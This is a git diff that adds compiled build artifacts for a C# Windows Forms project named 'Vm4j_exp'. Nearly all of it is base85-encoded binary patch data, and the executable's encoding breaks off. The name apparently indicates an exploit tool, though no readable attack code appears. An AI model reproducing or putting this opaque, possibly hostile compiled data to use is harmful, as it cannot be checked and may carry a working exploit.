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 a3fNHRYZ$O$-BVpEMrqTWF@&3V3HD#p%OdOm literal 0 HcmV?d00001 diff --git a/Csharp/WindowsFormsApp1/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs b/Csharp/WindowsFormsApp1/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs new file mode 100644 index 0000000..e5dc9b8 --- /dev/null +++ b/Csharp/WindowsFormsApp1/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] diff --git a/Csharp/WindowsFormsApp1/obj/Release/TempPE/Properties.Resources.Designer.cs.dll b/Csharp/WindowsFormsApp1/obj/Release/TempPE/Properties.Resources.Designer.cs.dll new file mode 100644 index 0000000000000000000000000000000000000000..5b4c0f13acda664d48540525a733f01c608d5408 GIT binary patch literal 3584 zcmeHJU1%It6h3#d*=)CInryYSSlUU`NPg^)kVq}9l3&x*#>8xr8mXkSvp1V5voqV7 z*)*wAB3hv+q6kXgiufef7e#9YpM0^jP>Kj5LPdSBAikE;8ozUQwwwMUeU#qho_o%B z&OP^>bAM(>UV4|Rh$x1>yi9ZkBexz!?@yMXuG@09j=orRq4A8^ccF1&&JOf~@8x_m zuUn?;dZC_?x?gm4+tmj~(|X>^N@LBMeB5Uqrs zYr&|a_n;HiD;_$In_GFLgAk%QRn&8wP5HkvMj}IK3-CKyV((6Sh-&Yyxj(8CC01A@ zAn#cr8=+hXAzx%8=vL+mNj075py5l$v!WP!0CR4)1q8Sc=mWJ+kv}(%O`~eMt`ogl zLnIh{fcCi7f{d_nZA9xjG};Lt@YO)aKx2>mBa-nawvrE_a1p6!EvsPd!9E$R23cLR z#C9d?+IC974g3g#l2eBt&{(pa;%!?=TVkQDtj9Tq9yHQxEhtoy+NOdyQM_dhgb-S7 ziA~_RFTJ-Sr9MCze&~%LG2aH#lPlvwk<^r}jUrp45v1u|* zwOE3WS<}$u@Bqe5kPjl2ras5ZK<0+&V*jHb38YMPO?1)vQk@$hA|%yOdKD3ZRY!tx z%u_l(<8Y~DqBjKdNQ~OVq86vUir%1EZ7qF*DM|XCdVyaC5~t6IZGO})i8ys?C&4#r z*F=&|k_*}(n7&4TKs!Nf)1l~J+FC71Zv*F*O6!#>R!^t2ueC;CKt(-Wfb=Ayti~4n zBwheLOp~BGP1BgpvtQpZja3C5P}2K}?b^$bK8~bm%0T)ik|gCIeW#=k62EA9wEbKVUcn&oax8RqAw{}!TU1sioPYwy52&;u`M&SJvS}Gknc*L8Auw;+M(z7`QDMh z%s4U~nxUkAFJG`7=?_U)`T(-MA+A@Z2-QufA76|LJRmd0Tu%DWd+uZ){ktjIePzOJ z>sAz{wN;?w(lHkl7gY37W!Ma=jP2OrVnsV|Iz@@n2BFLwY~#7o4N-gP(3tNPq#xQc zFvg?m1jc|2>>RQ*tiZ@R4)_0L7_C9&I**ucWm$LD&J|HO6uS%#;k_{(`{*s;xSVyQ zrOcvz8g^$rwWs9>;nzf6%Wk-^170aL-XSt9Y#*o^qPz!eGv|6iXj?&fUQ{(z5}ucq z{=99;ioRSBD(xiB2Nx}%seJdL8M#m}D%GR%0iw~&A%w5u9Vi`O#rFn*%x9cMKKHw( zC{NvVh-OIA0u^vu$H*rSoWvO7ZsXtr9ap1AMWB}Ad3x*ehl`u9d^`I2Z+~yO^5XTk zD5eXMsM1MPgK21})-_RAr}*tPHC0-wIn|8UEVZ-Y>6lKb-Z<-1y|EgRYGs1&fk+Le z1`}T$JutPg`|^pZc&Zt_6}=W0I@Qdi71y69fUU(lAz}$ufV48HO^E0>#AbeGC$#nZ zeY1d*Ke%AY0`KMo?)8yCz^+EU0KI~`qP;2aYhX-xo)Z}OZh3CbS>(%{Ei3zqwv&~9 zqH_nneE7q=!hWU&JvU-oz8842p)q9#Mbk-##jNcarRxND(cQjztjjsp z_9FLP>>iQw*No^?^t*%kv&`$v-Py{&PfD7Ze$O9poDtJ@OYfVM>LRgrxfwpxFTFdx XJVfqU0loBd^88cxw0NlaA6MXCv4R&L literal 0 HcmV?d00001 diff --git a/Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.AssemblyReference.cache b/Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.AssemblyReference.cache new file mode 100644 index 0000000000000000000000000000000000000000..204fdef644eaa2e6de09b015f5f4588ab58aa14d GIT binary patch literal 6 LcmZQ$WB>vH051Rt literal 0 HcmV?d00001 diff --git a/Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.CoreCompileInputs.cache b/Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..dae6104 --- /dev/null +++ b/Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +fdadfeb4d584ad82316c781a687795cc82fe2022 diff --git a/Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.FileListAbsolute.txt b/Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..a9fd367 --- /dev/null +++ b/Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.FileListAbsolute.txt @@ -0,0 +1,11 @@ +E:\VM4J\Csharp\WindowsFormsApp1\bin\Release\Vm4j_exp.exe.config +E:\VM4J\Csharp\WindowsFormsApp1\bin\Release\Vm4j_exp.exe +E:\VM4J\Csharp\WindowsFormsApp1\bin\Release\Vm4j_exp.pdb +E:\VM4J\Csharp\WindowsFormsApp1\obj\Release\Vm4J EXP.csproj.AssemblyReference.cache +E:\VM4J\Csharp\WindowsFormsApp1\obj\Release\Vm4J EXP.csproj.SuggestedBindingRedirects.cache +E:\VM4J\Csharp\WindowsFormsApp1\obj\Release\Vm4j_exp.Form1.resources +E:\VM4J\Csharp\WindowsFormsApp1\obj\Release\Vm4j_exp.Properties.Resources.resources +E:\VM4J\Csharp\WindowsFormsApp1\obj\Release\Vm4J EXP.csproj.GenerateResource.cache +E:\VM4J\Csharp\WindowsFormsApp1\obj\Release\Vm4J EXP.csproj.CoreCompileInputs.cache +E:\VM4J\Csharp\WindowsFormsApp1\obj\Release\Vm4j_exp.exe +E:\VM4J\Csharp\WindowsFormsApp1\obj\Release\Vm4j_exp.pdb diff --git a/Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.GenerateResource.cache b/Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.GenerateResource.cache new file mode 100644 index 0000000000000000000000000000000000000000..bb0ab5bab5aa041d4bf5e8deafeb53251cf19ac8 GIT binary patch literal 126 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 literal 0 HcmV?d00001 diff --git a/Csharp/WindowsFormsApp1/obj/Release/Vm4j_exp.Properties.Resources.resources b/Csharp/WindowsFormsApp1/obj/Release/Vm4j_exp.Properties.Resources.resources new file mode 100644 index 0000000000000000000000000000000000000000..6c05a9776bd7cbae976fdcec7e3a254e93018279 GIT binary patch literal 180 zcmX?i>is@O1_p+SK%5g?SzMBus~417oL^d$oLUTL1*ImYq!#HYR*8GxXUf^%t3Noi54ZC+|=Nl{{sjzU0bQch;FcWPxwes*e}ZIZcpqG__J onW3ezNveT`r81^vrFkWpxv4PQgHubGfR2KJ07n-P+5+SQ04Y>DD*ylh literal 0 HcmV?d00001 diff --git a/Csharp/WindowsFormsApp1/obj/Release/Vm4j_exp.exe b/Csharp/WindowsFormsApp1/obj/Release/Vm4j_exp.exe new file mode 100644 index 0000000000000000000000000000000000000000..5c6a466cd8a9b4b006c018613e7465da3e8b8dcd GIT binary patch literal 89088 zcmeHw2Ygh;_Wx|j?xtrGAoMI?Fd&44_5ei)JyInB)F{`V~pAH<(#n@#S_aETdj-S32Dv_Ec%1X_~jvQ|1i@ zLlMtZpGT_>di+7pkg+A6%22s4KQ%S!1ReFbp^S~P*x1m$E!U~i-ec`qvZa8rj{%8D z=s)Zh#ys$Q@FeQUZGNo}LJi-*tkND!4&p>zb-ED}9}i>a=4)ZC3?V@q zXk;1!pNeS183=~tYra4T35iw)ngtKe!qfB_$k-rLPn3qW^3)lv$@t^JX>gJ zD!^N6kBet3?Pc+7t?d-gHrg-Z*;Z>~p>#QkT7T(D($18gWDP}8REl=H^rUJ}OHZ2i zK6w_{1Sv_16fR=3wHzzuYp(glvxWAKc(&9EZ3J(n%@ohp+GXO|Mq4hPZMB`^2~s-P z2|M}_Dw?RUA8tiu1>5KqY^#%;KuDV_oRVqTl4%Pd^mc0-6<0@!ka&MW=h-$PnzYf9T1X|q73 zQ5(0tUh3^gO^s-zPB5oVXe2c?tC8AaPVHzUH8r4-+G$ShY>-;E!TYE#T2{3|49}rI zRBa4+2$f4pc53NPv}If3^NCI^#|X4^YMqQgs#7aefi7oT=c8G4$uXtsl4+d}mfE$E zloSo0bW(qFJ{5hY5#3hLFvozTNZieYRO(W431UrB(i!z^Rp4NcgP~|!)E7c(S2@V9 zJ*eayMG3jGBUN!$BFzR?ZsS{R8FL%E2Ry$hv4;)pkmS94n>WZBWTA6y;7rBqzH$R;{L ztk@WR!vJSN{z;!i`+62iBsmFn1Q~tbq^3g45Lyzpz7L@p^#tbTS&0OP!%JC&z>o=Q zvz%79Gw(zcupkv>TjvYyH=np{olly_osgG@*esXT?b5cPFzb9u80th>pdOJ-wlewM z4$_;BKEG1GvPZi>-+he}?@T-_;?4EXzJkniZnKeml%&!>E&&4!z&#Q$SphnN zHqk@w1VoqfH-y(9C%3D;W0R8-jb7RkX=tA!iC9tSQS-5 z02tf@^Q<$oz*aK0mYtSj=?^^#WKUWL{$y=N{&}`8S=RYbzxFQ4@)_y^(yX?;u6T6D zn9IR3NN<5(o1mPmdHH~cyTM7ahB3!VT7W^i-5M?=FV)o=?oM9lNO*gY7phx9VSV5g z*)Tg$2|$QSKxSP>M%F+_20gBzG|bcSf?Fy z7(OZ}29eOnR2MRbN!Iy9pYEm1x|ecDZ=Osha=<7ehiK_O!fS#OBSHD}TEt-Y<0&}RJfj%cCCnbC`!A>z?+NC5C{f)3^6dF6HJbWr8gW3m?L|L=Y zK$E}7@N4%{b{bE~$}|rRGW=@TLzT=94L0Cn2;TY%u!tsS)Wc{FK^==`MAW73$Zerf zPol{gbs(A%QNOt(G{nG?Ga=^`b7iO$ZF#gZ6!v@sDbC3@SBAhX^vaOm`l|zG$q^n3 z#GzpVJF!1IG~Dnjo(?PukDyeNp_D4eoioTx1HrT{Q5r;=Q*$!S1Q4vbPJl?iC(1!; z;=E!i<1|q^g>y=Cnw!fYnD$Gw3<`Tbrg}Ct7enA|y%_SNp6H8uJx2=cBs!{|&K~Qw+foX?n!glVD0}M0%5?h>jwA0Ci+teoav7(+#0wuqXS4DJ}K%hH0tO zH-u9EZwMt-&=5*mp&^tMgbAv6)}X%;fu3`yFU52@0&AV3oD<2qqh(^d9D!Bqk-u3; zb~%xKIAxbzj<~0~8TmbaDlw+52&_$rmMD^~YalNK&T;DkL+n?QL4H-sf%UZtMS3zD 